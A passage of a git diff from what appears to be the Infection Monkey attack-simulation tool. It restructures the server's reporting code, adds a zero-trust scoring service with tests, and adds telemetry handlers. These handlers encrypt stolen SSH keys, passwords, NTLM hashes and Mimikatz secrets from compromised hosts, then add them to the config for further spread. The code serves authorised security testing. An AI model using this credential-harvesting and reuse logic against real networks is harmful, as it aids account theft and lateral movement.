monkey/monkey_island/cc/services/reporting/exporter_init.py index fdf26fe8f..bd4e82f3e 100644 --- a/monkey/monkey_island/cc/exporter_init.py +++ b/monkey/monkey_island/cc/services/reporting/exporter_init.py @@ -1,16 +1,16 @@ import logging -from monkey_island.cc.report_exporter_manager import ReportExporterManager -from monkey_island.cc.resources.aws_exporter import AWSExporter +from monkey_island.cc.services.reporting.report_exporter_manager import ReportExporterManager +from monkey_island.cc.services.reporting.aws_exporter import AWSExporter from monkey_island.cc.services.remote_run_aws import RemoteRunAwsService - +from monkey_island.cc.environment.environment import env logger = logging.getLogger(__name__) def populate_exporter_list(): manager = ReportExporterManager() RemoteRunAwsService.init() - if RemoteRunAwsService.is_running_on_aws(): + if RemoteRunAwsService.is_running_on_aws() and ('aws' == env.get_deployment()): manager.add_exporter_to_list(AWSExporter) if len(manager.get_exporters_list()) != 0: diff --git a/monkey/monkey_island/cc/services/pth_report.py b/monkey/monkey_island/cc/services/reporting/pth_report.py similarity index 100% rename from monkey/monkey_island/cc/services/pth_report.py rename to monkey/monkey_island/cc/services/reporting/pth_report.py diff --git a/monkey/monkey_island/cc/services/report.py b/monkey/monkey_island/cc/services/reporting/report.py similarity index 95% rename from monkey/monkey_island/cc/services/report.py rename to monkey/monkey_island/cc/services/reporting/report.py index e49e60d81..f00fbc22c 100644 --- a/monkey/monkey_island/cc/services/report.py +++ b/monkey/monkey_island/cc/services/reporting/report.py @@ -9,14 +9,16 @@ from enum import Enum from six import text_type +from common.network.segmentation_utils import get_ip_in_src_and_not_in_dst from monkey_island.cc.database import mongo from monkey_island.cc.models import Monkey -from monkey_island.cc.report_exporter_manager import ReportExporterManager +from monkey_island.cc.services.reporting.report_exporter_manager import ReportExporterManager from monkey_island.cc.services.config import ConfigService +from monkey_island.cc.services.configuration.utils import get_config_network_segments_as_subnet_groups from monkey_island.cc.services.edge import EdgeService from monkey_island.cc.services.node import NodeService from monkey_island.cc.utils import local_ip_addresses, get_subnets -from .pth_report import PTHReportService +from monkey_island.cc.services.reporting.pth_report import PTHReportService from common.network.network_range import NetworkRange __author__ = "itay.mizeretz" @@ -34,7 +36,6 @@ class ReportService: 'SmbExploiter': 'SMB Exploiter', 'WmiExploiter': 'WMI Exploiter', 'SSHExploiter': 'SSH Exploiter', - 'RdpExploiter': 'RDP Exploiter', 'SambaCryExploiter': 'SambaCry Exploiter', 'ElasticGroovyExploiter': 'Elastic Groovy Exploiter', 'Ms08_067_Exploiter': 'Conficker Exploiter', @@ -287,12 +288,6 @@ class ReportService: processed_exploit['type'] = 'ssh' return processed_exploit - @staticmethod - def process_rdp_exploit(exploit): - processed_exploit = ReportService.process_general_creds_exploit(exploit) - processed_exploit['type'] = 'rdp' - return processed_exploit - @staticmethod def process_vsftpd_exploit(exploit): processed_exploit = ReportService.process_general_creds_exploit(exploit) @@ -357,7 +352,6 @@ class ReportService: 'SmbExploiter': ReportService.process_smb_exploit, 'WmiExploiter': ReportService.process_wmi_exploit, 'SSHExploiter': ReportService.process_ssh_exploit, - 'RdpExploiter': ReportService.process_rdp_exploit, 'SambaCryExploiter': ReportService.process_sambacry_exploit, 'ElasticGroovyExploiter': ReportService.process_elastic_exploit, 'Ms08_067_Exploiter': ReportService.process_conficker_exploit, @@ -423,23 +417,6 @@ class ReportService: return issues - @staticmethod - def get_ip_in_src_and_not_in_dst(ip_addresses, source_subnet, target_subnet): - """ - Finds an IP address in ip_addresses which is in source_subnet but not in target_subnet. - :param ip_addresses: List of IP addresses to test. - :param source_subnet: Subnet to want an IP to not be in. - :param target_subnet: Subnet we want an IP to be in. - :return: - """ - for ip_address in ip_addresses: - if target_subnet.is_in_range(ip_address): - return None - for ip_address in ip_addresses: - if source_subnet.is_in_range(ip_address): - return ip_address - return None - @staticmethod def get_cross_segment_issues_of_single_machine(source_subnet_range, target_subnet_range): """ @@ -502,9 +479,9 @@ class ReportService: target_ip = scan['data']['machine']['ip_addr'] if target_subnet_range.is_in_range(text_type(target_ip)): monkey = NodeService.get_monkey_by_guid(scan['monkey_guid']) - cross_segment_ip = ReportService.get_ip_in_src_and_not_in_dst(monkey['ip_addresses'], - source_subnet_range, - target_subnet_range) + cross_segment_ip = get_ip_in_src_and_not_in_dst(monkey['ip_addresses'], + source_subnet_range, + target_subnet_range) if cross_segment_ip is not None: cross_segment_issues.append( @@ -552,7 +529,7 @@ class ReportService: cross_segment_issues = [] # For now the feature is limited to 1 group. - subnet_groups = [ConfigService.get_config_value(['basic_network', 'network_analysis', 'inaccessible_subnets'])] + subnet_groups = get_config_network_segments_as_subnet_groups() for subnet_group in subnet_groups: cross_segment_issues += ReportService.get_cross_segment_issues_per_subnet_group(scans, subnet_group) diff --git a/monkey/monkey_island/cc/report_exporter_manager.py b/monkey/monkey_island/cc/services/reporting/report_exporter_manager.py similarity index 73% rename from monkey/monkey_island/cc/report_exporter_manager.py rename to monkey/monkey_island/cc/services/reporting/report_exporter_manager.py index c0e538258..f308a7933 100644 --- a/monkey/monkey_island/cc/report_exporter_manager.py +++ b/monkey/monkey_island/cc/services/reporting/report_exporter_manager.py @@ -25,9 +25,9 @@ class ReportExporterManager(object, metaclass=Singleton): self._exporters_set.add(exporter) def export(self, report): - try: - for exporter in self._exporters_set: - logger.debug("Trying to export using " + repr(exporter)) + for exporter in self._exporters_set: + logger.debug("Trying to export using " + repr(exporter)) + try: exporter().handle_report(report) - except Exception as e: - logger.exception('Failed to export report, error: ' + e.message) + except Exception as e: + logger.exception('Failed to export report, error: ' + e.message) diff --git a/monkey/monkey_island/cc/services/test_PTHReportService.py b/monkey/monkey_island/cc/services/reporting/test_pth_report.py similarity index 96% rename from monkey/monkey_island/cc/services/test_PTHReportService.py rename to monkey/monkey_island/cc/services/reporting/test_pth_report.py index 7c4d4229b..7c709f862 100644 --- a/monkey/monkey_island/cc/services/test_PTHReportService.py +++ b/monkey/monkey_island/cc/services/reporting/test_pth_report.py @@ -1,7 +1,7 @@ import uuid from monkey_island.cc.models import Monkey -from monkey_island.cc.services.pth_report import PTHReportService +from monkey_island.cc.services.reporting.pth_report import PTHReportService from monkey_island.cc.testing.IslandTestCase import IslandTestCase diff --git a/monkey/monkey_island/cc/services/reporting/test_zero_trust_service.py b/monkey/monkey_island/cc/services/reporting/test_zero_trust_service.py new file mode 100644 index 000000000..46b4fefd7 --- /dev/null +++ b/monkey/monkey_island/cc/services/reporting/test_zero_trust_service.py @@ -0,0 +1,285 @@ +from monkey_island.cc.services.reporting.zero_trust_service import ZeroTrustService + +from common.data.zero_trust_consts import * +from monkey_island.cc.models.zero_trust.finding import Finding +from monkey_island.cc.testing.IslandTestCase import IslandTestCase + + +def save_example_findings(): + # arrange + Finding.save_finding(TEST_ENDPOINT_SECURITY_EXISTS, STATUS_PASSED, []) # devices passed = 1 + Finding.save_finding(TEST_ENDPOINT_SECURITY_EXISTS, STATUS_PASSED, []) # devices passed = 2 + Finding.save_finding(TEST_ENDPOINT_SECURITY_EXISTS, STATUS_FAILED, []) # devices failed = 1 + # devices unexecuted = 1 + # people verify = 1 + # networks verify = 1 + Finding.save_finding(TEST_SCHEDULED_EXECUTION, STATUS_VERIFY, []) + # people verify = 2 + # networks verify = 2 + Finding.save_finding(TEST_SCHEDULED_EXECUTION, STATUS_VERIFY, []) + # data failed 1 + Finding.save_finding(TEST_DATA_ENDPOINT_HTTP, STATUS_FAILED, []) + # data failed 2 + Finding.save_finding(TEST_DATA_ENDPOINT_HTTP, STATUS_FAILED, []) + # data failed 3 + Finding.save_finding(TEST_DATA_ENDPOINT_HTTP, STATUS_FAILED, []) + # data failed 4 + Finding.save_finding(TEST_DATA_ENDPOINT_HTTP, STATUS_FAILED, []) + # data failed 5 + Finding.save_finding(TEST_DATA_ENDPOINT_HTTP, STATUS_FAILED, []) + # data verify 1 + Finding.save_finding(TEST_DATA_ENDPOINT_HTTP, STATUS_VERIFY, []) + # data verify 2 + Finding.save_finding(TEST_DATA_ENDPOINT_HTTP, STATUS_VERIFY, []) + # data passed 1 + Finding.save_finding(TEST_DATA_ENDPOINT_HTTP, STATUS_PASSED, []) + + +class TestZeroTrustService(IslandTestCase): + def test_get_pillars_grades(self): + self.fail_if_not_testing_env() + self.clean_finding_db() + + save_example_findings() + + expected = [ + { + STATUS_FAILED: 5, + STATUS_VERIFY: 2, + STATUS_PASSED: 1, + STATUS_UNEXECUTED: 1, + "pillar": "Data" + }, + { + STATUS_FAILED: 0, + STATUS_VERIFY: 2, + STATUS_PASSED: 0, + STATUS_UNEXECUTED: 1, + "pillar": "People" + }, + { + STATUS_FAILED: 0, + STATUS_VERIFY: 2, + STATUS_PASSED: 0, + STATUS_UNEXECUTED: 4, + "pillar": "Networks" + }, + { + STATUS_FAILED: 1, + STATUS_VERIFY: 0, + STATUS_PASSED: 2, + STATUS_UNEXECUTED: 1, + "pillar": "Devices" + }, + { + STATUS_FAILED: 0, + STATUS_VERIFY: 0, + STATUS_PASSED: 0, + STATUS_UNEXECUTED: 0, + "pillar": "Workloads" + }, + { + STATUS_FAILED: 0, + STATUS_VERIFY: 0, + STATUS_PASSED: 0, + STATUS_UNEXECUTED: 3, + "pillar": "Visibility & Analytics" + }, + { + STATUS_FAILED: 0, + STATUS_VERIFY: 0, + STATUS_PASSED: 0, + STATUS_UNEXECUTED: 0, + "pillar": "Automation & Orchestration" + } + ] + + result = ZeroTrustService.get_pillars_grades() + + self.assertEquals(result, expected) + + def test_get_principles_status(self): + self.fail_if_not_testing_env() + self.clean_finding_db() + + self.maxDiff = None + + save_example_findings() + + expected = { + AUTOMATION_ORCHESTRATION: [], + DATA: [ + { + "principle": PRINCIPLES[PRINCIPLE_DATA_TRANSIT], + "status": STATUS_FAILED, + "tests": [ + { + "status": STATUS_FAILED, + "test": TESTS_MAP[TEST_DATA_ENDPOINT_HTTP][TEST_EXPLANATION_KEY] + }, + { + "status": STATUS_UNEXECUTED, + "test": TESTS_MAP[TEST_DATA_ENDPOINT_ELASTIC][TEST_EXPLANATION_KEY] + }, + ] + } + ], + DEVICES: [ + { + "principle": PRINCIPLES[PRINCIPLE_ENDPOINT_SECURITY], + "status": STATUS_FAILED, + "tests": [ + { + "status": STATUS_UNEXECUTED, + "test": TESTS_MAP[TEST_MACHINE_EXPLOITED][TEST_EXPLANATION_KEY] + }, + { + "status": STATUS_FAILED, + "test": TESTS_MAP[TEST_ENDPOINT_SECURITY_EXISTS][TEST_EXPLANATION_KEY] + }, + ] + } + ], + NETWORKS: [ + { + "principle": PRINCIPLES[PRINCIPLE_SEGMENTATION], + "status": STATUS_UNEXECUTED, + "tests": [ + { + "status": STATUS_UNEXECUTED, + "test": TESTS_MAP[TEST_SEGMENTATION][TEST_EXPLANATION_KEY] + } + ] + }, + { + "principle": PRINCIPLES[PRINCIPLE_USER_BEHAVIOUR], + "status": STATUS_VERIFY, + "tests": [ + { + "status": STATUS_VERIFY, + "test": TESTS_MAP[TEST_SCHEDULED_EXECUTION][TEST_EXPLANATION_KEY] + } + ] + }, + { + "principle": PRINCIPLES[PRINCIPLE_USERS_MAC_POLICIES], + "status": STATUS_UNEXECUTED, + "tests": [ + { + "status": STATUS_UNEXECUTED, + "test": TESTS_MAP[TEST_COMMUNICATE_AS_NEW_USER][TEST_EXPLANATION_KEY] + } + ] + }, + { + "principle": PRINCIPLES[PRINCIPLE_ANALYZE_NETWORK_TRAFFIC], + "status": STATUS_UNEXECUTED, + "tests": [ + { + "status": STATUS_UNEXECUTED, + "test": TESTS_MAP[TEST_MALICIOUS_ACTIVITY_TIMELINE][TEST_EXPLANATION_KEY] + } + ] + }, + { + "principle": PRINCIPLES[PRINCIPLE_RESTRICTIVE_NETWORK_POLICIES], + "status": STATUS_UNEXECUTED, + "tests": [ + { + "status": STATUS_UNEXECUTED, + "test": TESTS_MAP[TEST_TUNNELING][TEST_EXPLANATION_KEY] + } + ] + }, + ], + PEOPLE: [ + { + "principle": PRINCIPLES[PRINCIPLE_USER_BEHAVIOUR], + "status": STATUS_VERIFY, + "tests": [ + { + "status": STATUS_VERIFY, + "test": TESTS_MAP[TEST_SCHEDULED_EXECUTION][TEST_EXPLANATION_KEY] + } + ] + }, + { + "principle": PRINCIPLES[PRINCIPLE_USERS_MAC_POLICIES], + "status": STATUS_UNEXECUTED, + "tests": [ + { + "status": STATUS_UNEXECUTED, + "test": TESTS_MAP[TEST_COMMUNICATE_AS_NEW_USER][TEST_EXPLANATION_KEY] + } + ] + } + ], + VISIBILITY_ANALYTICS: [ + { + "principle": PRINCIPLES[PRINCIPLE_USERS_MAC_POLICIES], + "status": STATUS_UNEXECUTED, + "tests": [ + { + "status": STATUS_UNEXECUTED, + "test": TESTS_MAP[TEST_COMMUNICATE_AS_NEW_USER][TEST_EXPLANATION_KEY] + } + ] + }, + { + "principle": PRINCIPLES[PRINCIPLE_ANALYZE_NETWORK_TRAFFIC], + "status": STATUS_UNEXECUTED, + "tests": [ + { + "status": STATUS_UNEXECUTED, + "test": TESTS_MAP[TEST_MALICIOUS_ACTIVITY_TIMELINE][TEST_EXPLANATION_KEY] + } + ] + }, + { + "principle": PRINCIPLES[PRINCIPLE_RESTRICTIVE_NETWORK_POLICIES], + "status": STATUS_UNEXECUTED, + "tests": [ + { + "status": STATUS_UNEXECUTED, + "test": TESTS_MAP[TEST_TUNNELING][TEST_EXPLANATION_KEY] + } + ] + }, + ], + WORKLOADS: [] + } + + result = ZeroTrustService.get_principles_status() + self.assertEquals(result, expected) + + def test_get_pillars_to_statuses(self): + self.fail_if_not_testing_env() + self.clean_finding_db() + + self.maxDiff = None + + expected = { + AUTOMATION_ORCHESTRATION: STATUS_UNEXECUTED, + DEVICES: STATUS_UNEXECUTED, + NETWORKS: STATUS_UNEXECUTED, + PEOPLE: STATUS_UNEXECUTED, + VISIBILITY_ANALYTICS: STATUS_UNEXECUTED, + WORKLOADS: STATUS_UNEXECUTED, + DATA: STATUS_UNEXECUTED + } + + self.assertEquals(ZeroTrustService.get_pillars_to_statuses(), expected) + + save_example_findings() + + expected = { + AUTOMATION_ORCHESTRATION: STATUS_UNEXECUTED, + DEVICES: STATUS_FAILED, + NETWORKS: STATUS_VERIFY, + PEOPLE: STATUS_VERIFY, + VISIBILITY_ANALYTICS: STATUS_UNEXECUTED, + WORKLOADS: STATUS_UNEXECUTED, + DATA: STATUS_FAILED + } + + self.assertEquals(ZeroTrustService.get_pillars_to_statuses(), expected) diff --git a/monkey/monkey_island/cc/services/reporting/zero_trust_service.py b/monkey/monkey_island/cc/services/reporting/zero_trust_service.py new file mode 100644 index 000000000..f4b23f095 --- /dev/null +++ b/monkey/monkey_island/cc/services/reporting/zero_trust_service.py @@ -0,0 +1,150 @@ +import json +from common.data.zero_trust_consts import * +from monkey_island.cc.models.zero_trust.finding import Finding + + +class ZeroTrustService(object): + @staticmethod + def get_pillars_grades(): + pillars_grades = [] + for pillar in PILLARS: + pillars_grades.append(ZeroTrustService.__get_pillar_grade(pillar)) + return pillars_grades + + @staticmethod + def __get_pillar_grade(pillar): + all_findings = Finding.objects() + pillar_grade = { + "pillar": pillar, + STATUS_FAILED: 0, + STATUS_VERIFY: 0, + STATUS_PASSED: 0, + STATUS_UNEXECUTED: 0 + } + + tests_of_this_pillar = PILLARS_TO_TESTS[pillar] + + test_unexecuted = {} + for test in tests_of_this_pillar: + test_unexecuted[test] = True + + for finding in all_findings: + test_unexecuted[finding.test] = False + test_info = TESTS_MAP[finding.test] + if pillar in test_info[PILLARS_KEY]: + pillar_grade[finding.status] += 1 + + pillar_grade[STATUS_UNEXECUTED] = sum(1 for condition in test_unexecuted.values() if condition) + + return pillar_grade + + @staticmethod + def get_principles_status(): + all_principles_statuses = {} + + # init with empty lists + for pillar in PILLARS: + all_principles_statuses[pillar] = [] + + for principle, principle_tests in PRINCIPLES_TO_TESTS.items(): + for pillar in PRINCIPLES_TO_PILLARS[principle]: + all_principles_statuses[pillar].append( + { + "principle": PRINCIPLES[principle], + "tests": ZeroTrustService.__get_tests_status(principle_tests), + "status": ZeroTrustService.__get_principle_status(principle_tests) + } + ) + + return all_principles_statuses + + @staticmethod + def __get_principle_status(principle_tests): + worst_status = STATUS_UNEXECUTED + all_statuses = set() + for test in principle_tests: + all_statuses |= set(Finding.objects(test=test).distinct("status")) + + for status in all_statuses: + if ORDERED_TEST_STATUSES.index(status) < ORDERED_TEST_STATUSES.index(worst_status): + worst_status = status + + return worst_status + + @staticmethod + def __get_tests_status(principle_tests): + results = [] + for test in principle_tests: + test_findings = Finding.objects(test=test) + results.append( + { + "test": TESTS_MAP[test][TEST_EXPLANATION_KEY], + "status": ZeroTrustService.__get_lcd_worst_status_for_test(test_findings) + } + ) + return results + + @staticmethod + def __get_lcd_worst_status_for_test(all_findings_for_test): + """ + :param all_findings_for_test: All findings of a specific test (get this using Finding.objects(test={A_TEST})) + :return: the "worst" (i.e. most severe) status out of the given findings. + lcd stands for lowest common denominator. + """ + current_worst_status = STATUS_UNEXECUTED + for finding in all_findings_for_test: + if ORDERED_TEST_STATUSES.index(finding.status) < ORDERED_TEST_STATUSES.index(current_worst_status): + current_worst_status = finding.status + + return current_worst_status + + @staticmethod + def get_all_findings(): + all_findings = Finding.objects() + enriched_findings = [ZeroTrustService.__get_enriched_finding(f) for f in all_findings] + return enriched_findings + + @staticmethod + def __get_enriched_finding(finding): + test_info = TESTS_MAP[finding.test] + enriched_finding = { + "test": test_info[FINDING_EXPLANATION_BY_STATUS_KEY][finding.status], + "test_key": finding.test, + "pillars": test_info[PILLARS_KEY], + "status": finding.status, + "events": ZeroTrustService.__get_events_as_dict(finding.events) + } + return enriched_finding + + @staticmethod + def __get_events_as_dict(events): + return [json.loads(event.to_json()) for event in events] + + @staticmethod + def get_statuses_to_pillars(): + results = { + STATUS_FAILED: [], + STATUS_VERIFY: [], + STATUS_PASSED: [], + STATUS_UNEXECUTED: [] + } + for pillar in PILLARS: + results[ZeroTrustService.__get_status_of_single_pillar(pillar)].append(pillar) + + return results + + @staticmethod + def get_pillars_to_statuses(): + results = {} + for pillar in PILLARS: + results[pillar] = ZeroTrustService.__get_status_of_single_pillar(pillar) + + return results + + @staticmethod + def __get_status_of_single_pillar(pillar): + grade = ZeroTrustService.__get_pillar_grade(pillar) + for status in ORDERED_TEST_STATUSES: + if grade[status] > 0: + return status + return STATUS_UNEXECUTED diff --git a/monkey/monkey_island/cc/services/telemetry/__init__.py b/monkey/monkey_island/cc/services/telemetry/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/monkey/monkey_island/cc/services/telemetry/processing/__init__.py b/monkey/monkey_island/cc/services/telemetry/processing/__init__.py new file mode 100644 index 000000000..d90143c09 --- /dev/null +++ b/monkey/monkey_island/cc/services/telemetry/processing/__init__.py @@ -0,0 +1,7 @@ +# import all implemented hooks, for brevity of hooks.py file +from tunnel import process_tunnel_telemetry +from state import process_state_telemetry +from exploit import process_exploit_telemetry +from scan import process_scan_telemetry +from system_info import process_system_info_telemetry +from post_breach import process_post_breach_telemetry diff --git a/monkey/monkey_island/cc/services/telemetry/processing/exploit.py b/monkey/monkey_island/cc/services/telemetry/processing/exploit.py new file mode 100644 index 000000000..cf6e9b544 --- /dev/null +++ b/monkey/monkey_island/cc/services/telemetry/processing/exploit.py @@ -0,0 +1,58 @@ +import copy + +import dateutil + +from monkey_island.cc.database import mongo +from monkey_island.cc.encryptor import encryptor +from monkey_island.cc.models import Monkey +from monkey_island.cc.services.edge import EdgeService +from monkey_island.cc.services.node import NodeService +from monkey_island.cc.services.telemetry.processing.utils import get_edge_by_scan_or_exploit_telemetry +from monkey_island.cc.services.telemetry.zero_trust_tests.machine_exploited import test_machine_exploited + + +def process_exploit_telemetry(telemetry_json): + encrypt_exploit_creds(telemetry_json) + edge = get_edge_by_scan_or_exploit_telemetry(telemetry_json) + update_edge_info_with_new_exploit(edge, telemetry_json) + update_node_credentials_from_successful_attempts(edge, telemetry_json) + + test_machine_exploited( + current_monkey=Monkey.get_single_monkey_by_guid(telemetry_json['monkey_guid']), + exploit_successful=telemetry_json['data']['result'], + exploiter=telemetry_json['data']['exploiter'], + target_ip=telemetry_json['data']['machine']['ip_addr'], + timestamp=telemetry_json['timestamp']) + + +def update_node_credentials_from_successful_attempts(edge, telemetry_json): + for attempt in telemetry_json['data']['attempts']: + if attempt['result']: + found_creds = {'user': attempt['user']} + for field in ['password', 'lm_hash', 'ntlm_hash', 'ssh_key']: + if len(attempt[field]) != 0: + found_creds[field] = attempt[field] + NodeService.add_credentials_to_node(edge['to'], found_creds) + + +def update_edge_info_with_new_exploit(edge, telemetry_json): + telemetry_json['data']['info']['started'] = dateutil.parser.parse(telemetry_json['data']['info']['started']) + telemetry_json['data']['info']['finished'] = dateutil.parser.parse(telemetry_json['data']['info']['finished']) + new_exploit = copy.deepcopy(telemetry_json['data']) + new_exploit.pop('machine') + new_exploit['timestamp'] = telemetry_json['timestamp'] + mongo.db.edge.update( + {'_id': edge['_id']}, + {'$push': {'exploits': new_exploit}} + ) + if new_exploit['result']: + EdgeService.set_edge_exploited(edge) + + +def encrypt_exploit_creds(telemetry_json): + attempts = telemetry_json['data']['attempts'] + for i in range(len(attempts)): + for field in ['password', 'lm_hash', 'ntlm_hash']: + credential = attempts[i][field] + if len(credential) > 0: + attempts[i][field] = encryptor.enc(credential.encode('utf-8')) diff --git a/monkey/monkey_island/cc/services/telemetry/processing/post_breach.py b/monkey/monkey_island/cc/services/telemetry/processing/post_breach.py new file mode 100644 index 000000000..c64849905 --- /dev/null +++ b/monkey/monkey_island/cc/services/telemetry/processing/post_breach.py @@ -0,0 +1,27 @@ +from monkey_island.cc.database import mongo +from common.data.post_breach_consts import * +from monkey_island.cc.models import Monkey +from monkey_island.cc.services.telemetry.zero_trust_tests.communicate_as_new_user import test_new_user_communication + + +def process_communicate_as_new_user_telemetry(telemetry_json): + current_monkey = Monkey.get_single_monkey_by_guid(telemetry_json['monkey_guid']) + message = telemetry_json['data']['result'][0] + success = telemetry_json['data']['result'][1] + test_new_user_communication(current_monkey, success, message) + + +POST_BREACH_TELEMETRY_PROCESSING_FUNCS = { + POST_BREACH_COMMUNICATE_AS_NEW_USER: process_communicate_as_new_user_telemetry, +} + + +def process_post_breach_telemetry(telemetry_json): + mongo.db.monkey.update( + {'guid': telemetry_json['monkey_guid']}, + {'$push': {'pba_results': telemetry_json['data']}}) + + post_breach_action_name = telemetry_json["data"]["name"] + if post_breach_action_name in POST_BREACH_TELEMETRY_PROCESSING_FUNCS: + POST_BREACH_TELEMETRY_PROCESSING_FUNCS[post_breach_action_name](telemetry_json) + diff --git a/monkey/monkey_island/cc/services/telemetry/processing/processing.py b/monkey/monkey_island/cc/services/telemetry/processing/processing.py new file mode 100644 index 000000000..154096f79 --- /dev/null +++ b/monkey/monkey_island/cc/services/telemetry/processing/processing.py @@ -0,0 +1,29 @@ +import logging + +from monkey_island.cc.services.telemetry.processing import * + +logger = logging.getLogger(__name__) + +TELEMETRY_CATEGORY_TO_PROCESSING_FUNC = \ + { + 'tunnel': process_tunnel_telemetry, + 'state': process_state_telemetry, + 'exploit': process_exploit_telemetry, + 'scan': process_scan_telemetry, + 'system_info': process_system_info_telemetry, + 'post_breach': process_post_breach_telemetry, + # `lambda *args, **kwargs: None` is a no-op. + 'trace': lambda *args, **kwargs: None, + 'attack': lambda *args, **kwargs: None, + } + + +def process_telemetry(telemetry_json): + try: + telem_category = telemetry_json.get('telem_category') + if telem_category in TELEMETRY_CATEGORY_TO_PROCESSING_FUNC: + TELEMETRY_CATEGORY_TO_PROCESSING_FUNC[telem_category](telemetry_json) + else: + logger.info('Got unknown type of telemetry: %s' % telem_category) + except Exception as ex: + logger.error("Exception caught while processing telemetry. Info: {}".format(ex.message), exc_info=True) diff --git a/monkey/monkey_island/cc/services/telemetry/processing/scan.py b/monkey/monkey_island/cc/services/telemetry/processing/scan.py new file mode 100644 index 000000000..bea451170 --- /dev/null +++ b/monkey/monkey_island/cc/services/telemetry/processing/scan.py @@ -0,0 +1,44 @@ +import copy + +from monkey_island.cc.database import mongo +from monkey_island.cc.models import Monkey +from monkey_island.cc.services.telemetry.processing.utils import get_edge_by_scan_or_exploit_telemetry +from monkey_island.cc.services.telemetry.zero_trust_tests.data_endpoints import test_open_data_endpoints +from monkey_island.cc.services.telemetry.zero_trust_tests.segmentation import test_segmentation_violation + + +def process_scan_telemetry(telemetry_json): + update_edges_and_nodes_based_on_scan_telemetry(telemetry_json) + test_open_data_endpoints(telemetry_json) + + current_monkey = Monkey.get_single_monkey_by_guid(telemetry_json['monkey_guid']) + target_ip = telemetry_json['data']['machine']['ip_addr'] + test_segmentation_violation(current_monkey, target_ip) + + +def update_edges_and_nodes_based_on_scan_telemetry(telemetry_json): + edge = get_edge_by_scan_or_exploit_telemetry(telemetry_json) + data = copy.deepcopy(telemetry_json['data']['machine']) + ip_address = data.pop("ip_addr") + domain_name = data.pop("domain_name") + new_scan = \ + { + "timestamp": telemetry_json["timestamp"], + "data": data + } + mongo.db.edge.update( + {"_id": edge["_id"]}, + {"$push": {"scans": new_scan}, + "$set": {"ip_address": ip_address, 'domain_name': domain_name}} + ) + node = mongo.db.node.find_one({"_id": edge["to"]}) + if node is not None: + scan_os = new_scan["data"]["os"] + if "type" in scan_os: + mongo.db.node.update({"_id": node["_id"]}, + {"$set": {"os.type": scan_os["type"]}}, + upsert=False) + if "version" in scan_os: + mongo.db.node.update({"_id": node["_id"]}, + {"$set": {"os.version": scan_os["version"]}}, + upsert=False) diff --git a/monkey/monkey_island/cc/services/telemetry/processing/state.py b/monkey/monkey_island/cc/services/telemetry/processing/state.py new file mode 100644 index 000000000..4e164e900 --- /dev/null +++ b/monkey/monkey_island/cc/services/telemetry/processing/state.py @@ -0,0 +1,17 @@ +from monkey_island.cc.models import Monkey +from monkey_island.cc.services.node import NodeService +from monkey_island.cc.services.telemetry.zero_trust_tests.segmentation import \ + test_passed_findings_for_unreached_segments + + +def process_state_telemetry(telemetry_json): + monkey = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid']) + NodeService.add_communication_info(monkey, telemetry_json['command_control_channel']) + if telemetry_json['data']['done']: + NodeService.set_monkey_dead(monkey, True) + else: + NodeService.set_monkey_dead(monkey, False) + + if telemetry_json['data']['done']: + current_monkey = Monkey.get_single_monkey_by_guid(telemetry_json['monkey_guid']) + test_passed_findings_for_unreached_segments(current_monkey) diff --git a/monkey/monkey_island/cc/services/telemetry/processing/system_info.py b/monkey/monkey_island/cc/services/telemetry/processing/system_info.py new file mode 100644 index 000000000..ebf11c219 --- /dev/null +++ b/monkey/monkey_island/cc/services/telemetry/processing/system_info.py @@ -0,0 +1,99 @@ +from monkey_island.cc.database import mongo +from monkey_island.cc.services import mimikatz_utils +from monkey_island.cc.services.node import NodeService +from monkey_island.cc.services.config import ConfigService +from monkey_island.cc.services.telemetry.zero_trust_tests.antivirus_existence import test_antivirus_existence +from monkey_island.cc.services.wmi_handler import WMIHandler +from monkey_island.cc.encryptor import encryptor + + +def process_system_info_telemetry(telemetry_json): + process_ssh_info(telemetry_json) + process_credential_info(telemetry_json) + process_mimikatz_and_wmi_info(telemetry_json) + process_aws_data(telemetry_json) + test_antivirus_existence(telemetry_json) + + +def process_ssh_info(telemetry_json): + if 'ssh_info' in telemetry_json['data']: + ssh_info = telemetry_json['data']['ssh_info'] + encrypt_system_info_ssh_keys(ssh_info) + if telemetry_json['data']['network_info']['networks']: + # We use user_name@machine_ip as the name of the ssh key stolen, thats why we need ip from telemetry + add_ip_to_ssh_keys(telemetry_json['data']['network_info']['networks'][0], ssh_info) + add_system_info_ssh_keys_to_config(ssh_info) + + +def add_system_info_ssh_keys_to_config(ssh_info): + for user in ssh_info: + ConfigService.creds_add_username(user['name']) + # Public key is useless without private key + if user['public_key'] and user['private_key']: + ConfigService.ssh_add_keys(user['public_key'], user['private_key'], + user['name'], user['ip']) + + +def add_ip_to_ssh_keys(ip, ssh_info): + for key in ssh_info: + key['ip'] = ip['addr'] + + +def encrypt_system_info_ssh_keys(ssh_info): + for idx, user in enumerate(ssh_info): + for field in ['public_key', 'private_key', 'known_hosts']: + if ssh_info[idx][field]: + ssh_info[idx][field] = encryptor.enc(ssh_info[idx][field].encode('utf-8')) + + +def process_credential_info(telemetry_json): + if 'credentials' in telemetry_json['data']: + creds = telemetry_json['data']['credentials'] + encrypt_system_info_creds(creds) + add_system_info_creds_to_config(creds) + replace_user_dot_with_comma(creds) + + +def replace_user_dot_with_comma(creds): + for user in creds: + if -1 != user.find('.'): + new_user = user.replace('.', ',') + creds[new_user] = creds.pop(user) + + +def add_system_info_creds_to_config(creds): + for user in creds: + ConfigService.creds_add_username(user) + if 'password' in creds[user]: + ConfigService.creds_add_password(creds[user]['password']) + if 'lm_hash' in creds[user]: + ConfigService.creds_add_lm_hash(creds[user]['lm_hash']) + if 'ntlm_hash' in creds[user]: + ConfigService.creds_add_ntlm_hash(creds[user]['ntlm_hash']) + + +def encrypt_system_info_creds(creds): + for user in creds: + for field in ['password', 'lm_hash', 'ntlm_hash']: + if field in creds[user]: + # this encoding is because we might run into passwords which are not pure ASCII + creds[user][field] = encryptor.enc(creds[user][field].encode('utf-8')) + + +def process_mimikatz_and_wmi_info(telemetry_json): + users_secrets = {} + if 'mimikatz' in telemetry_json['data']: + users_secrets = mimikatz_utils.MimikatzSecrets. \ + extract_secrets_from_mimikatz(telemetry_json['data'].get('mimikatz', '')) + if 'wmi' in telemetry_json['data']: + monkey_id = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid']).get('_id') + wmi_handler = WMIHandler(monkey_id, telemetry_json['data']['wmi'], users_secrets) + wmi_handler.process_and_handle_wmi_info() + + +def process_aws_data(telemetry_json): + if 'aws' in telemetry_json['data']: + if 'instance_id' in 